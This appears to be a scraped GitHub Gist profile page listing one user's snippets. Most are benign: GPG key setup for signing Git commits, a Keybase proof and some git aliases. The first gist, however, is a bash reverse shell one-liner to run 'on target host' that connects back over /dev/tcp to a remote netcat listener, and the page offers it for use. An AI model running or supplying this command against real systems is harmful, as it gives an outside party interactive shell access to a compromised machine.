Skip to content

Instantly share code, notes, and snippets.

View pishchalnikov's full-sized avatar
🎯
Focusing

Roman Pishchalnikov pishchalnikov

🎯
Focusing
  • Berlin, Germany
View GitHub Profile
@pishchalnikov
pishchalnikov / Bash Revers Shell
Created December 19, 2019 04:49
A little bash revers shell which will send a revers nc connection to remote host by port
# On target host
$ bash -i >& /dev/tcp/remotehost/4444 0>&1
# On local host
$ nc -lvp 4444
@pishchalnikov
pishchalnikov / Associating GPG key with Git
Last active November 3, 2020 07:41
Associating GPG key with Git
1. Use the following command to list the private GPG key you just created:
$ gpg --list-secret-keys --keyid-format LONG <email>
2. Copy the GPG key ID that starts with sec. In the following example, that's
32F2B65B9246B6CA:
sec rsa4096/32F2B65B9246B6CA 2017-04-01 [SC]
D5E4F29F3275DC0CDA8FFC8730F2B65B9246B6CA
uid [ultimate] User <email>
ssb rsa4096/B7ABC0813E4028C0 2019-04-01 [E]
@pishchalnikov
pishchalnikov / Signing commits with GPG
Last active November 3, 2020 07:41
Signing commits with GPG
1. Install GPG for your operating system.
If your Operating System has gpg2 installed, replace gpg with gpg2 in
the following commands.
2. Generate the private/public key pair with the following command, which will
spawn a series of questions:
$ gpg --full-gen-key
3. The first question is which algorithm can be used. Select the kind you want
or press Enter to choose the default (RSA and RSA):
@pishchalnikov
pishchalnikov / keybase.md
Created February 22, 2019 01:33
Keybase proof

Keybase proof

I hereby claim:

  • I am pishchalnikov on github.
  • I am pishchalnikov (https://keybase.io/pishchalnikov) on keybase.
  • I have a public key whose fingerprint is 771F A1AE A6C4 694F 55F2 C790 1E0F 75A2 48A6 9707

To claim this, I am signing this object:

$ git config --global alias.st 'status -sb'
$ git st
$ git config --global alias.amend 'commit --amend -C HEAD'
$ git amend
$ git config --global alias.undo 'reset --soft HEAD^'
$ git undo
$ git config --global alias.change 'diff --word-diff'